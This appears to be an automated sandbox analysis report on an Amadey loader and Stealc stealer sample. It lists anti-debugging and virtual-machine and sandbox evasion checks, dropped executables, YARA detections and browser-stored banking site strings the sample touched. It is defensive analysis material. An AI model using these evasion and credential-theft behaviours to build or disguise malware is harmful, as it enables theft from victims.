Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: B604EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Special instruction interceptor: First address: CE378F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Special instruction interceptor: First address: CE3706 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Special instruction interceptor: First address: E9176E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Special instruction interceptor: First address: EB87F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Special instruction interceptor: First address: F19C3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Special instruction interceptor: First address: E3378F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Special instruction interceptor: First address: E33706 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Special instruction interceptor: First address: FE176E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Special instruction interceptor: First address: 10087F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Special instruction interceptor: First address: 1069C3D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0524017C rdtsc

0_2_0524017C

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Window / User API: threadDelayed 2292

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

API coverage: 3.2 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 6968	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5508	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5508	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1672	Thread sleep count: 334 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1672	Thread sleep time: -10020000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7164	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5780	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5780	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe TID: 6672	Thread sleep time: -162000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Thread sleep count: Count: 2292 delay: -10

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A4DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	9_2_00A4DBBE
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A1C2A2 FindFirstFileExW,	9_2_00A1C2A2
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A568EE FindFirstFileW,FindClose,	9_2_00A568EE
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A5698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	9_2_00A5698F
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A4D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	9_2_00A4D076
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A4D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	9_2_00A4D3A9
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A59642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_00A59642
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A5979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_00A5979D
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A59B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	9_2_00A59B2B
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A55C97 FindFirstFileW,FindNextFileW,FindClose,	9_2_00A55C97

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_009E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

9_2_009E42DE

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: explorti.exe, explorti.exe, 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmp, 48c5076e95.exe, 48c5076e95.exe, 00000007.00000002.2755220402.0000000000E6E000.00000040.00000001.01000000.0000000A.sdmp, a759b4c7d8.exe, a759b4c7d8.exe, 00000008.00000002.2835618802.0000000000FBE000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorti.exe, 00000006.00000003.2959096070.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Web Data.19.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.19.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.19.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: explorti.exe, 00000006.00000002.3244398787.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, 48c5076e95.exe, 00000007.00000002.2755758341.0000000001733000.00000004.00000020.00020000.00000000.sdmp, 48c5076e95.exe, 00000007.00000002.2755758341.0000000001762000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.19.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2024111393.000000000130D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\t=
Source: Web Data.19.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.19.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.19.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.19.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.19.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.19.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.19.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.19.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.19.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.19.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.19.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.19.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: file.exe, 00000000.00000003.2024111393.000000000130D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}N=
Source: Web Data.19.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2047717149.0000000000A0F000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000002.00000002.2072329132.0000000000AAF000.00000040.00000001.01000000.00000008.sdmp, explorti.exe, 00000003.00000002.2075263227.0000000000AAF000.00000040.00000001.01000000.00000008.sdmp, explorti.exe, 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmp, 48c5076e95.exe, 00000007.00000002.2755220402.0000000000E6E000.00000040.00000001.01000000.0000000A.sdmp, a759b4c7d8.exe, 00000008.00000002.2835618802.0000000000FBE000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.19.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.19.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_9-96084

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05240651 Start: 052408E7 End: 052406C2

0_2_05240651

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	File opened: NTICE
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	File opened: SICE
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0524017C rdtsc

0_2_0524017C

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A5EAA2 BlockInput,

9_2_00A5EAA2

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A12622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_00A12622

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_009E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

9_2_009E42DE

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008F645B mov eax, dword ptr fs:[00000030h]	6_2_008F645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008FA1C2 mov eax, dword ptr fs:[00000030h]	6_2_008FA1C2
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A04CE8 mov eax, dword ptr fs:[00000030h]	9_2_00A04CE8

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A40B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

9_2_00A40B62

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A12622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00A12622
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A0083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00A0083F
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A009D5 SetUnhandledExceptionFilter,	9_2_00A009D5
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A00C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00A00C21

Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 48c5076e95.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a759b4c7d8.exe PID: 5808, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

9_2_00A41201

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A22BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

9_2_00A22BA5

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A4B226 SendInput,keybd_event,

9_2_00A4B226

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A622DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

9_2_00A622DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe "C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe "C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe "C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

9_2_00A40B62

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A41663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

9_2_00A41663

Source: explorti.exe, explorti.exe, 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: iProgram Manager
Source: 0c179c8402.exe, 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmp, 0c179c8402.exe.6.dr, random[1].exe0.6.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 0c179c8402.exe	Binary or memory string: Shell_TrayWnd
Source: 48c5076e95.exe, 48c5076e95.exe, 00000007.00000002.2755220402.0000000000E6E000.00000040.00000001.01000000.0000000A.sdmp, a759b4c7d8.exe, a759b4c7d8.exe, 00000008.00000002.2835618802.0000000000FBE000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: *JProgram Manager

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_008DD312 cpuid

6_2_008DD312

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_008DCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_008DCB1A

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A3D27A GetUserNameW,

9_2_00A3D27A

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A1B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

9_2_00A1B952

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_009E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

9_2_009E42DE

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.explorti.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorti.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.explorti.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2656061306.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2047655108.0000000000821000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2034774572.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2007416106.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2072271866.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2075198346.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2031890477.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 48c5076e95.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a759b4c7d8.exe PID: 5808, type: MEMORYSTR

Source: 0c179c8402.exe	Binary or memory string: WIN_81
Source: 0c179c8402.exe	Binary or memory string: WIN_XP
Source: random[1].exe0.6.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 